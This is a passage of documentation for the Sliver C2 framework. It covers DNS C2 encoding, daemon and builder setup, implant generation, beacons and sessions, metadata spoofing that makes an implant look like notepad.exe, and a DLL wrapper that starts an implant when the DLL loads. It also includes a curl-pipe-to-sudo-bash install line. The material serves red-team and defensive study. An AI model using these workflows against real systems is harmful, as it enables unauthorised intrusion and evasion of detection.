Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.

To work around this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a 2x size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around 1.6x size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over 1.33x message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.

Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fall back to Base32. I call this process "fingerprinting" the resolver.

### Fingerprinting Rude Resolvers

The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g., `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.

In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.

### Bytes Per Query

Since the encoder used to send data is selected at runtime, as described above, the number of bytes that can be encoded into a query depends on both the length of the parent domain and the encoder selected. Therefore given some message of `n` bytes we must dynamically determine how many queries are needed to send the message.

First we calculate how many characters of the total domain can be used to encode data, which depends on the length of the parent domain. A maximum of 254 characters per domain always applies regardless of the number of subdomains. So for example we have more space leftover when using `1.abc.com` (254 - 9 = 245) vs. `a.thisisalongdomainname.com` (254 - 27 = 227), however we must also account for `.` every 63 characters, and the number of these may differ depending on the space leftover after the parent domain. The number of characters that can be used to represent data I call the "subdata space" (i.e., not counting the parent domain and `.`'s) and is calculated as:

```go
254 - len(parent) - (1 + (254-len(parent))/64)
```

This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially: the encoded length of `n` bytes must be equal to or less than the subdata space. It's important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.

### Parallel Send/Recv

In addition to optimizing our use of encoders, we can also increase performance if we can send queries with encoded data out of order, or that is to say in parallel, since sending in parallel will most assuredly result in messages arriving at the server out of order.

To account for this, Sliver wraps the message of `n` bytes in a protobuf message that contains some metadata:

```protobuf
message DNSMessage {
    DNSMessageType Type = 1; // An enum type
    uint32 ID = 2; // 8 bit message id + 24 bit dns session ID
    uint32 Start = 3; // These bytes of `Data` start at
    uint32 Stop = 4; // These bytes of `Data` stop at
    uint32 Size = 5; // Total message size (e.g. last message Stop = Size)
    bytes Data = 6; // Actual data
}
```

This does result in some overhead, and we must account for this as part of the bytes-per-query math.

Since each message contains ordering and size data the server can now receive any part of the message in any order and sort/reconstruct the original message once all the pieces have been received.

---

### Sliver Docs Pages Docs Md Daemon Mode (`docs/sliver-docs/pages/docs/md/Daemon Mode.md`)

Sliver supports running in daemon mode, which automatically starts the multiplayer listener but does not provide an interactive console. To connect to a daemonized server, use [multiplayer mode](/docs?name=Multi-player+Mode) operator configs.

By default, daemon mode exposes the multiplayer listener directly over TCP gRPC/mTLS on port `31337`. The multiplayer WireGuard wrapper is opt-in with `--enable-wg` or `daemon.enable_wg: true`.

There are two ways to run in daemon mode:

1. Start daemon directly from CLI: `sliver-server daemon`
2. Set `daemon_mode: true` in `~/.sliver/configs/server.yaml`, then start normally with `sliver-server`

If `server.yaml` does not exist, Sliver generates it. If a legacy `server.json` exists, Sliver migrates it to YAML.

### CLI Behavior

- `sliver-server daemon` supports:
  - `-l, --lhost` multiplayer listener host
  - `-p, --lport` multiplayer listener port
  - `-t, --tailscale` enable Tailscale listener
  - `--enable-wg` wrap multiplayer in WireGuard instead of exposing it directly over mTLS
  - `-f, --force` force unpack static assets
- For `sliver-server daemon`, `--lhost` and `--lport` override config values. If omitted, Sliver uses `daemon.host` and `daemon.port` from `server.yaml`.
- For normal startup (`sliver-server`) with `daemon_mode: true`, Sliver uses `daemon.tailscale` and `daemon.enable_wg` from `server.yaml`.
- With `--enable-wg` or `daemon.enable_wg: true`, multiplayer is wrapped in WireGuard. Otherwise it stays on direct TCP mTLS.

### Example Config

```yaml
daemon_mode: true
daemon:
    host: ""
    port: 31337
    tailscale: false
    enable_wg: false
logs:
    level: 4
    grpc_unary_payloads: false
    grpc_stream_payloads: false
    tls_key_logger: false
grpc:
    keepalive:
        min_time_seconds: 30
        permit_without_stream: true
```

### Generating Operator Configs Without Console

Since daemon mode does not provide an interactive server console, generate operator configs using the server CLI:

```bash
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
```

The `operator` CLI generates direct multiplayer profiles by default. When the daemon is running with the WireGuard wrapper, add `--enable-wg` while generating the profile. That profile contains `wg.enabled: true`, so `sliver-client` selects WireGuard automatically. Use the client's `--enable-wg` or `--disable-wg` only when you need to override the profile.

### Shutdown Behavior

On Unix-like systems, daemon mode handles `SIGTERM` and exits cleanly.

### systemd

With daemon mode enabled in `server.yaml`, you can run Sliver under [systemd](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or another init system. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.

---

### Sliver Docs Pages Docs Md Debugging (`docs/sliver-docs/pages/docs/md/Debugging.md`)

Debugging Sliver binaries (server, client and implant) can be done using the [delve](https://github.com/go-delve/delve) debugger. The following examples are specific to Visual Studio Code, but other IDEs using delve probably have similar configuration options.

Delve can be installed with the following command, note that you'll need `$GOPATH/bin` on your `$PATH`:

```
go install github.com/go-delve/delve/cmd/dlv@latest
```

For more details please see https://github.com/go-delve/delve/tree/master/Documentation/installation#installation

# Debugging the Server

Debugging the Sliver needs to be done via delve [remote debugging](https://github.com/golang/vscode-go/blob/master/docs/debugging.md#remote-debugging) feature. This means you need to first start the binary with the following command:

```
dlv debug \
--build-flags="-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=1.1.2 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=github.com -X github.com/bishopfox/sliver/client/version.GitCommit=aabbcc -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty'" \
--headless \
--listen=:2345 \
--api-version=2 \
--log \
github.com/bishopfox/sliver/server
```

To simplify things, you can add this command as a VSCode task, by adding the following to your [`.vscode/tasks.json` file](https://code.visualstudio.com/docs/editor/tasks):

```json
{
  "label": "Run Debug Server",
  "type": "shell",
  "command": "dlv",
  "args": [
    "debug",
    "--build-flags=\"-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=0.0.0 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=https://api.github.com/repos/BishopFox/sliver/releases -X github.com/bishopfox/sliver/client/version.GitCommit=debug -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty -X github.com/bishopfox/sliver/client/assets.DefaultArmoryPublicKey=RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L -X github.com/bishopfox/sliver/client/assets.DefaultArmoryRepoURL=https://api.github.com/repos/sliverarmory/armory/releases'\"",
    "--headless",
    "--listen=:8844",
    "--api-version=2",
    "--log",
    "github.com/bishopfox/sliver/server"
  ],
  "presentation": {
    "echo": true,
    "reveal": "always",
    "focus": true,
    "showReuseMessage": false,
    "clear": true,
    "panel": "new"
  },
  "problemMatcher": ["$go"]
}
```

Then, you need to create your `.vscode/launch.json` file containing the following:

```json
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Debug Server",
      "type": "go",
      "request": "attach",
      "mode": "remote",
      "remotePath": "${workspaceFolder}",
      "port": 8844,
      "host": "127.0.0.1",
      "trace": "log"
    }
  ]
}
```

Once you're all set, start by running the `Run Debug Server` task, and then hit `F5` (or use the UI to start the debugging task).

# Debugging the Implant

To debug an implant, first make sure you built one by passing the `--debug` flag to the `generate` command. Then, add the following debug configuration to your `.vscode/launch.json` file:

```json
{
  "name": "Debug Implant",
  "type": "go",
  "request": "attach",
  "mode": "remote",
  "remotePath": "",
  "port": "REMOTE_PORT", // replace this
  "host": "REMOTE_HOST" // replace this
}
```

The `REMOTE_HOST` and `REMOTE_PORT` placeholders will need to be replaced to match the ones you specified on your delve server.

You will need to install the delve debugger on the target host. Once installed, run the delve server using the `exec` mode on your generated implant binary:

```shell
dlv exec --api-version 2 --headless --listen REMOTE_HOST:REMOTE_PORT --log .\implant.exe
```

Once the server is running on your target, select the `Debug Implant` debug configuration in VSCode and click on `Run`.

---

### Sliver Docs Pages Docs Md Environment Variables (`docs/sliver-docs/pages/docs/md/Environment Variables.md`)

### Assets

- `SLIVER_ROOT_DIR` - Override sliver root directory, the default is `~/.sliver/`

### Updates

- `SLIVER_NO_UPDATE_CHECK` - If set to any non-blank value, never check for updates

### Generate

#### Override All CC

- `SLIVER_CC_64` - Override all paths to 64 bit cross compiler
- `SLIVER_CC_32` - Override all paths to 32 bit cross compiler

#### Override Platform CC

- `SLIVER_WINDOWS_CC_64` - Override path to Windows 64 bit cross compiler
- `SLIVER_LINUX_CC_64` - Override path to Linux 64 bit cross compiler
- `SLIVER_DARWIN_CC_64` - Override path to MacOS 64 bit cross compiler
- `SLIVER_WINDOWS_CC_32` - Override path to Windows 32 bit cross compiler
- `SLIVER_LINUX_CC_32` - Override path to Linux 32 bit cross compiler

#### Override All CXX

- `SLIVER_CXX_64` - Override all paths to 64 bit cross compiler
- `SLIVER_CXX_32` - Override all paths to 32 bit cross compiler

#### Override Platform CXX

- `SLIVER_WINDOWS_CXX_64` - Override path to Windows 64 bit cross compiler
- `SLIVER_LINUX_CXX_64` - Override path to Linux 64 bit cross compiler
- `SLIVER_DARWIN_CXX_64` - Override path to MacOS 64 bit cross compiler
- `SLIVER_WINDOWS_CXX_32` - Override path to Windows 32 bit cross compiler
- `SLIVER_LINUX_CXX_32` - Override path to Linux 32 bit cross compiler

---

### Sliver Docs Pages Docs Md Executable Metadata (`docs/sliver-docs/pages/docs/md/Executable Metadata.md`)

Executable metadata spoofing lets you post-process a generated build and copy metadata/resource details from a donor executable.

## Overview

The feature is enabled with the `--spoof-metadata` flag on generate commands.

- Current format support: `pe` (Windows PE)
- Config file: `<client app dir>/spoof-metadata.yaml`
- Default client app dir: `~/.sliver-client`

On first client startup, Sliver creates `spoof-metadata.yaml` if it does not exist.

## Flag Usage

`--spoof-metadata` is off by default.

- No flag: metadata spoofing is not applied.
- `--spoof-metadata` (no argument): use `<client app dir>/spoof-metadata.yaml`.
- `--spoof-metadata /path/to/donor.exe`: use the provided donor file directly.

Path mode validation:

- Currently only supported for Windows PE targets.
- Target output format must be executable, service, or shared library.
- Donor PE machine type must match target architecture (`386`, `amd64`, `arm64`).
- For shared library targets, donor must be a DLL; for executable/service targets, donor must not be a DLL.

When path mode is used, Sliver only uses the donor file bytes as `pe.source` and does not read override fields from `spoof-metadata.yaml`.

## Quick Start

1. Start the client once to generate `~/.sliver-client/spoof-metadata.yaml`.
2. Edit `pe.source.path` to point to a donor PE file.
3. Generate with `--spoof-metadata`.

Example:

```bash
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata -N win-agent
```

Direct donor path example:

```bash
sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata /opt/samples/notepad.exe -N win-agent
```

## Config Format

Top-level config:

```yaml
pe:
  source:
    name: metadata-source.exe
    path: /absolute/path/to/donor.exe
```

`pe.source` is required when using `--spoof-metadata`.

Fields that can carry binary content (such as `source` and `icon`) support:

- `name`: logical filename sent in protobuf metadata
- `path`: local file path read by the client
- `base64`: inline base64 bytes

`name` and `path` are not duplicates:

- `path` controls where bytes are loaded from on the client machine.
- `name` is the filename value sent to the server.

If `path` is set and `name` is omitted, Sliver uses `basename(path)` automatically.

Set only one of `path` or `base64` for each object.

## Examples

### Minimal Path-Based Config

```yaml
pe:
  source:
    name: metadata-source.exe
    path: /opt/samples/notepad.exe
```

### Include Icon Donor Bytes

```yaml
pe:
  source:
    name: metadata-source.exe
    path: /opt/samples/notepad.exe
  icon:
    name: icon.ico
    path: /opt/samples/app.ico
```

### Inline Base64 Config

```yaml
pe:
  source:
    name: metadata-source.exe
    base64: TVqQAAMAAAAEAAAA...
  icon:
    name: icon.ico
    base64: AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAA...
```

### Advanced Optional PE Structure Fields

These fields are optional and act as PE metadata overrides:

```yaml
pe:
  source:
    name: metadata-source.exe
    path: /opt/samples/notepad.exe

  resource_directory:
    major_version: 1
    minor_version: 0
    time_date_stamp: 1712345678
    number_of_named_entries: 0
    number_of_id_entries: 0

  resource_directory_entries:
    - name: 1
      offset_to_data: 0

  resource_data_entries:
    - offset_to_data: 0
      size: 0
      code_page: 0
      reserved: 0

  export_directory:
    major_version: 1
    minor_version: 0
    time_date_stamp: 1712345678
    number_of_functions: 0
    number_of_names: 0
```

## Override Behavior

Override order for `pe`:

1. Sliver clones metadata/resources from `pe.source`.
2. Sliver applies explicit override fields from your config.

This means:

- If an override field is set, it replaces the cloned value.
- If an override field is omitted, the cloned donor value is kept.

Resource override details:

- `resource_directory` overrides the root `IMAGE_RESOURCE_DIRECTORY` fields.
- `resource_directory_entries` overrides the first N root directory entries in order.
- `resource_data_entries` overrides the first N resource data entries discovered in resource-tree order.

Export override details:

- `export_directory` overrides fields in the PE export directory when that directory exists.
- If a PE has no export directory, this override has no effect.

Important:

- In protobuf/YAML, scalar zero values are real override values when the parent block is present.
- When setting partial `resource_directory` values, include `number_of_named_entries` and `number_of_id_entries` from the original header unless you intentionally want to change them.

## Notes

- The client reads local file paths and sends bytes to the server over gRPC.
- Spoofing is applied only after a build completes successfully.
- The server applies spoofing to the selected existing build artifact.
- PE support is implemented first; the config is structured for future executable formats.

---

### Sliver Docs Pages Docs Md External Builders (`docs/sliver-docs/pages/docs/md/External Builders.md`)

Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g., connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increase performance (e.g., having a low-powered cloud host offload a local PC).

External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.

```mermaid:minh=340
flowchart LR
    subgraph "External MacOS Builder"
        builder["MacOS Builder"] -- "Multiplayer" --> server["Linux Server"]
        operator["Windows Operator"] -- "Multiplayer" --> server
        server -- ".dylib build task" --> builder
    end
```

## Builders

#### Setup

Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](/docs?name=Multi-player+Mode) from the server you want to connect the builder to, for example:

```
./sliver-server builder -c operator-multiplayer.cfg
```

Builders follow the operator profile automatically: direct profiles use gRPC/mTLS, while profiles generated with `new-operator --enable-wg` (or `sliver-server operator --enable-wg`) contain `wg.enabled: true` and use WireGuard. No builder flag is required for a correctly generated profile.

Use `--enable-wg` to force WireGuard for a profile with tunnel settings, or `--disable-wg` to force a direct connection; the flags cannot be combined. Profiles from the withdrawn WireGuard-by-default release may have a `wg` block without `enabled`; builders treat those profiles as direct unless WireGuard is forced explicitly.

When started as a builder, the Sliver process will mirror log output to stdout by default, however this can be disabled (see `sliver-server builder --help`).

**⚠️ IMPORTANT:** Builders must have unique names, by default the builder's hostname will be used, but this can be changed using the `--name` cli flag.

#### External Builds

Any operator can see which builders are connected to the server using the `builders` command. This command will also show what templates, formats, and compiler targets each builder supports:

```
/* Detailed source-code truncated for AI context efficiency. */
```

Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:

```
sliver > generate --mtls localhost --os mac --arch arm64 --external-builder

[*] Using external builder: molochs-MacBook-Pro-111.local
[*] Externally generating new darwin/arm64 implant binary
[*] Symbol obfuscation is enabled
[*] Creating external build ... done
[*] Build completed in 1m19s
```

If a given format/target combination is supported by multiple external builders you will be prompted to select one for the build.

#### Limitations

Currently external builds do not support DNS canaries.

## Implant Customization

You are welcome to customize the implant source code under the terms of Sliver's [GPLv3 license](https://github.com/BishopFox/sliver/blob/master/LICENSE). While we plan to improve the workflow over time, currently the easiest way to operationalize changes to the implant source code is:

1. Fork the main Sliver GitHub repository
1. Make modifications to the source code
1. [Compile a Sliver server binary](/docs?name=Compile+from+Source)
1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
1. Operators can generate the customized implant builds via the `generate --external-builder` flag
1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs

---

### Sliver Docs Pages Docs Md GPG Public Key (`docs/sliver-docs/pages/docs/md/GPG Public Key.md`)

GPG siging is deprecated and should be avoided, use the [Minisign public key](/docs?name=Minisign+Public+Key) to verify binaries.

---

### Sliver Docs Pages Docs Md Getting Started (`docs/sliver-docs/pages/docs/md/Getting Started.md`)

Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.

Sliver is designed for a one server deployment per operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).

Obfuscated builds require `git` to be installed. Additionally, Sliver has an external dependencies for _optional_ features: Metasploit. To enable some MSF integrations you'll need Metasploit installed on the server.

For a Linux server, you can also use the one-liner installation `curl https://sliver.sh/install|sudo bash`

```asciinema
{"src": "/asciinema/install-1.cast", "cols": "132"}
```

If you install Sliver via the one-liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`):

```asciinema
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```

#### System Requirements

The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low-resource systems to work around hardware limitations of the server (e.g. a low-powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.

**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW.

See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details.

### Metasploit Setup (Optional)

We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 6.2+.

## Implants: Beacon vs. Session

Sliver is generally designed as a stage 2 payload, and as such we have not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Go.

Sliver implants support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server, retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real-time session using either a persistent connection or long polling depending on the underlying C2 protocol.

Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.

Some commands such as `shell` and `portfwd` only work over interactive sessions.

## Generating Implants

Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.

#### Session Mode

```asciinema
{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"}
```

#### Beacon Mode

```asciinema
{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}
```

Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Go GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Go GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.

Some commands/features may not work on "unsupported" platforms.

```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac

[*] Generating new darwin/amd64 Sliver binary
[*] Build completed in 00:00:09
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```

The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:

```
sliver > implants

Name                    OS/Arch        Debug  Format
====                    =======        =====  ======
CAUTIOUS_PANPIPE        darwin/amd64   false  EXECUTABLE
LATE_SUBCOMPONENT       windows/amd64  false  SHARED_LIB
RUBBER_PRINTER          windows/amd64  true   SHARED_LIB
RACIAL_SPECTACLES       darwin/amd64   false  EXECUTABLE
MATHEMATICAL_SASH       darwin/amd64   true   SHARED_LIB
MUSHY_TRADITIONALISM    windows/amd64  false  SHARED_LIB
SICK_SPY                darwin/amd64   false  EXECUTABLE
```

If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) come after the command flags (e.g., `--save`):

```
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE

[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```

#### Additional Details

For additional details about each C2 please see:

- [HTTP(S) C2](/docs?name=HTTPS+C2)
- [DNS C2](/docs?name=DNS+C2)

## Getting Shells

Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:

```
sliver > mtls

[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   mTLS  tcp       8888
```

In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.

### Interacting with Sessions

The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.

```
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST

sliver > use 8ff2ce4c

[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)

sliver (LONG_DRAMATURGE) > ls

/Users/moloch/Desktop
=====================
.DS_Store                 6.0 KiB
.localized                0 B
LONG_DRAMATURGE           6.3 MiB
```

If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting) (TL;DR: add the `--debug` flag when generating an implant).

### Interacting with Beacons

Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own ID and this ID is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab-complete for the UUID when using `use`:

```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST

[server] sliver > beacons

 ID         Name                     Tasks   Transport   Remote Address        Hostname          Username                        Operating System   Last Check-In    Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
 8c465643   RELATIVE_ADVERTISEMENT   0/0     mtls        192.168.1.178:54701   WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      49.385459s ago   37.614549s

[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb

[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)

[server] sliver (RELATIVE_ADVERTISEMENT) >
```

You should see a blue prompt indicating that we're interacting with a beacon as opposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.

```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls

[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)

[+] RELATIVE_ADVERTISEMENT completed task 962978a6

C:\git
======
drwxrwxrwx  a                           <dir>     Wed Dec 22 15:34:56 -0600 2021
...
```

Tasks will execute in the order they were created (FIFO).

**⚠️ IMPORTANT:** Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.

You can view previous tasks executed by the active beacon using the `tasks` command:

```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks

 ID         State       Message Type   Created                         Sent                            Completed
========== =========== ============== =============================== =============================== ===============================
 90294ad2   completed   Ls             Sat, 22 Jan 2022 14:45:00 CST   Sat, 22 Jan 2022 14:45:11 CST   Sat, 22 Jan 2022 14:45:11 CST
 962978a6   completed   Ls             Sat, 22 Jan 2022 14:42:43 CST   Sat, 22 Jan 2022 14:43:53 CST   Sat, 22 Jan 2022 14:43:53 CST
```

You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the `settings` command.

#### Switching from Beacon Mode to Session Mode

You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:

```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive

[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)

[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```

**⚠️ IMPORTANT:** You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.

When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.

## Multiple Domains/Protocols

You can specify multiple domains and protocols during the generation process.

By default Sliver will attempt to use the `s` sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail.

```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
```

You can modify the connection strategy at compile-time using the `--strategy` flag. For example, you can instruct the implant to `r` randomly connect to any specified C2 endpoint:

```
sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
```

## What Next?

Most commands have a `--help` and support tab-complete, you may also find the following wiki articles of interest:

- [Armory](/docs?name=Armory)
- [Stagers](/docs?name=Stagers)
- [Community Guides](/docs?name=Community%20Guides)
- [Port Forwarding](/docs?name=Port%20Forwarding)
- [Reverse SOCKS](/docs?name=Reverse%20SOCKS)
- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support)

---

### Sliver Docs Pages Docs Md Go Archive Output (`docs/sliver-docs/pages/docs/md/Go Archive Output.md`)

Sliver can generate Go c-archive output for use in native link workflows. The archive format returns a ZIP bundle containing the generated static archive (`.a`) and C headers (`.h`) produced by Go's `c-archive` build mode.

Use this format when you want to link the generated implant entrypoint into another native artifact, such as a DLL or application, and validate that the exported symbol resolves correctly in your own loader or harness.

## Generate an Archive

For the example, a Windows archive was generated via the Sliver console:

```shell
sliver > generate --format archive --os windows --arch amd64 --mtls 127.0.0.1
```

The output ZIP contains an archive (`.a`) file and the headers (`.h`).

```text
ARCHITECTURAL_YOKE.a
ARCHITECTURAL_YOKE.h
main.h
```

If no export symbols are configured, Sliver exports `StartW` by default. The examples below assume the generated implant name is `ARCHITECTURAL_YOKE`; replace that name with the files generated in your environment.

## Link the Archive into a DLL

Create a wrapper that calls `StartW` from a worker thread when the DLL loads, which keeps `DllMain` lightweight and avoids doing long-running initialization work while the Windows loader lock is held.

```cpp
#include "ARCHITECTURAL_YOKE.h"
#include <windows.h>

DWORD WINAPI WorkerThread(LPVOID lpParam)
{
    StartW();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);

        HANDLE hThread = CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
        if (hThread != NULL) {
            CloseHandle(hThread);
        }
    }
    return TRUE;
}
```

Compile the wrapper and link it with the generated archive:

